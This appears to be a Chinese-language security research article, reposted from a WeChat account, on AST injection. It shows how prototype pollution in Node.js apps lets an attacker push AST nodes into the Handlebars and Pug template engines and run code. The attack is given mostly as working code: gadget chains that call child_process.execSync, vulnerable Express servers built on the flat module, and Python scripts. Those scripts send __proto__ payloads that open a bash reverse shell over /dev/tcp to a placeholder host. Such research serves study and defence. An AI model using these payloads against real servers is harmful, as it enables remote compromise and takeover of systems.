本文介绍如何使用一种称为 AST 注入的新技术在两个著名的模板引擎中RCE 。
AST 注入
什么是AST
[AST] https://en.wikipedia.org/wiki/Abstract_syntax_tree Abstract_syntax_tree
NodeJS中的AST
在NodeJS中,AST经常被在JS中使用,作为template engines (引擎模版)和typescript等。对于引擎模版,结构如上图所示⬆️。
如果在JS应用中存在原型污染漏洞,任何 AST 都可以通过在Parser(解析器)
或Compiler(编译器)
过程中插入到函数中。
在这里,你可以在没有过滤、没有经过lexer(分析器)
或parser(解析器)
验证的输入(没有被适当的过滤)的情况下插入AST。
然后我们可以向Parser(编译器)
非预期的输入。
下面就是展示如何实际中在handlebars
和pug
使用AST注入执行任意命令
Handlebars
handlebars
是除 ejs 之外最常用的template engine(模板引擎)
。
在较新的版本中是较为安全的,即使可以插入任何模板,也无法执行任何命令。
如何探测
const Handlebars = require('handlebars');
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "NEURON"})); // Hello NEURON
在开始之前,这是如何在handlebars
使用模板的方法。
Handlebar.compile
函数将字符串转换为模板函数并传递对象因子以供调用。
const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "NEURON"})); // <script>alert(origin)</script>Hello NEURON
在这里,我们可以使用原型污染来影响编译过程。
你可以插入任意字符串payload
到Object.prototype.pendingContent
中决定你想要的攻击。
当原型污染存在于黑盒环境中时,这使你可以确认服务器正在使用handlebars
引擎。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
...
appendContent: function appendContent(content) {
if (this.pendingContent) {
content = this.pendingContent + content;
} else {
this.pendingLocation = this.source.currentLocation;
}
this.pendingContent = content;
},
pushSource: function pushSource(source) {
if (this.pendingContent) {
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
this.pendingContent = undefined;
}
if (source) {
this.source.push(source);
}
}
...
这是由javascript-compiler.js
的 appendContent
函数完成。如果存在 pendingContent
,则附加到内容并返回。
pushSource
使 pendingContent
的值为 undefined
,防止字符串被多次插入。
Exploit
handlebars
的工作原理如上图所示。
在经过lexer(分析器)
和parser(解析器)
生成AST
之后,它传递给 compiler.js
这样我们就可以运行带有一些参数的模板函数编译器(template function compiler generated)。
它就会返回像“Hello posix”这样的字符串(当 msg 是 posix 时)。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;
handlebars
中的parser(解析器)通过Number
构造函数强制类型为 NumberLiteral
的节点的值始终为数字。
然而,在这里你可以使用原型污染去插入一个非数字型的字符串。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') {
return input;
}
_parser2['default'].yy = yy;
// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};
var ast = _parser2['default'].parse(input);
return ast;
}
function parse(input, options) {
var ast = parseWithoutProcessing(input, options);
var strip = new _whitespaceControl2['default'](options);
return strip.accept(ast);
}
首先来看编译函数,它支持两种输入方式,AST 对象
和模板字符串
。
当 input.type
是Program
时,虽然输入值实际上是字符串。Parser
认为它是已经被parser.js
解析过的AST
了,然后将其发送给而compiler
不做任何处理。
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
...
accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}
this.sourceNode.unshift(node);
var ret = this[node.type](node);
this.sourceNode.shift();
return ret;
},
Program: function Program(program) {
console.log((new Error).stack)
this.options.blockParams.unshift(program.blockParams);
var body = program.body,
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]);
}
this.options.blockParams.shift();
this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;
return this;
}
...
compiler
接收到 AST 对象(AST Object)
(实际上是一个字符串)并将其传到 accept
方法。
accept
方法调用Compiler
的 this[node.type]
。
然后获取 AST
的 body
属性并将其用于构造函数。
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];
const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
/*
function (container, depth0, helpers, partials, data) {
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
"name": "undefined",
"hash": {},
"data": data,
"loc": {
"start": 0,
"end": 0
}
})) != null ? stack1 : "");
}
*/
所以,你可以构造一个像这样的攻击。
如果您已经通过parser
,请指定一个无法分配给 NumberLiteral
值的字符串。
但是注入 AST 之后,我们可以将任何代码插入到函数中。
Example
const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars = require('handlebars');
const app = express();
app.use(bodyParser.json())
app.get('/', function (req, res) {
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
res.end(template({}));
});
app.post('/vulnerable', function (req, res) {
let object = unflatten(req.body);
res.json(object);
});
app.listen(3000);
使用具有原型污染漏洞的flat
模块配置一个有漏洞的服务器示例。
flat
是一个受欢迎的模块,每周有 461 万次下载
import requests
TARGET_URL = 'http://xxx.com:3000'
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xx/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
requests.get(TARGET_URL)
反弹shell:
在获取反弹的shell之后,我们可以执行任意系统命令!
pug
pug
是一个先前以jade
名称开发并重命名的模块。据统计,它是 nodejs
中第四大最受欢迎的模板引擎
如何探测
const pug = require('pug');
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works</h1>
在 pug
中使用模板的常见方法如上所示。
pug.compile
函数将字符串转换为模板函数并传递对象以供调用。
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
这是一种利用原型污染在黑盒环境下探测使用pug
模板引擎的方法。
当你将 AST
插入Object.prototype.block
时,compiler(编译器)通过引用 val
将其添加到缓冲区中。
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) {
ast.block = walkAST(ast.block, before, after, options);
}
break;
...
当ast.type
为While
时,ast.block
调用walkASK
(如果值不存在,则引用prototype
) 如果模板引用参数中的任何值,则While
节点始终存在,因此可靠性被认为是相当高的。
事实上,如果开发人员不会从模板中的参数中引用任何值 。
因为他们一开始并不会使用任何模板引擎。
Exploit
pug
工作原理如上图所示。
与handlebars
不同的是,每个过程都被分成一个单独的模块。
pug-parser
生成的 AST
被传递给 pug-code-gen
并制成一个函数。最后,它将被执行。
<!-- /node_modules/pug-code-gen/index.js -->
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
在 pug
的compiler(编译器)中,有一个变量存放着名为 pug_debug_line
的行号,用于调试。
如果 node.line
值存在,则将其添加到缓冲区,否则传递。
对于使用 pug-parser
生成的 AST
,node.line
值始终指定为整数。
但是,我们可以通过 AST注入
在 node.line
中插入一个非整型的字符串并导致任意代码执行。
const pug = require('pug');
Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};
const source = `h1= msg`;
var fn = pug.compile(source, {});
console.log(fn.toString());
/*
function template(locals) {
var pug_html = "",
pug_mixins = {},
pug_interp;
var pug_debug_filename, pug_debug_line;
try {;
var locals_for_with = (locals || {});
(function (console, msg, process) {;
pug_debug_line = 1;
pug_html = pug_html + "u003Ch1u003E";;
pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;
pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());
pug_html = pug_html + "ndefineu003Cu002Fh1u003E";
}.call(this, "console" in locals_for_with ?
locals_for_with.console :
typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?
locals_for_with.process :
typeof process !== 'undefined' ? process : undefined));;
} catch (err) {
pug.rethrow(err, pug_debug_filename, pug_debug_line);
};
return pug_html;
}
*/
生成函数的示例。
你可以看到 Object.prototype.line
值插入在 pug_debug_line
定义的右侧。
const pug = require('pug');
Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});
console.log(html); // "uid=0(root) gid=0(root) groups=0(root)nn<h1>It worksndefine</h1>"
所以,你可以构造一个像这样的攻击。
通过在 node.line
值中指定一个字符串,它总是通过解析器定义为数字。
所以,任何命令都可以插入到函数中。
Example
const express = require('express');
const { unflatten } = require('flat');
const pug = require('pug');
const app = express();
app.use(require('body-parser').json())
app.get('/', function (req, res) {
const template = pug.compile(`h1= msg`);
res.end(template({msg: 'It works'}));
});
app.post('/vulnerable', function (req, res) {
let object = unflatten(req.body);
res.json(object);
});
app.listen(3000);
在handlebars
的例子中,flat
用于配置服务器。模板引擎已改为 pug
import requests
TARGET_URL = 'http://xxx.com:3000'
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xx/3333 0>&1'`)"
}
})
requests.get(TARGET_URL)
我们可以在 block.line
中插入任何代码,并获得一个shell。
结论
我描述了如何通过JS 模板引擎
上的AST 注入
去执行任意命令, 但事实上这些部份是很难完全修复的。
本文始发于微信公众号(山石网科安全技术研究院):AST注入,从原型污染到RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论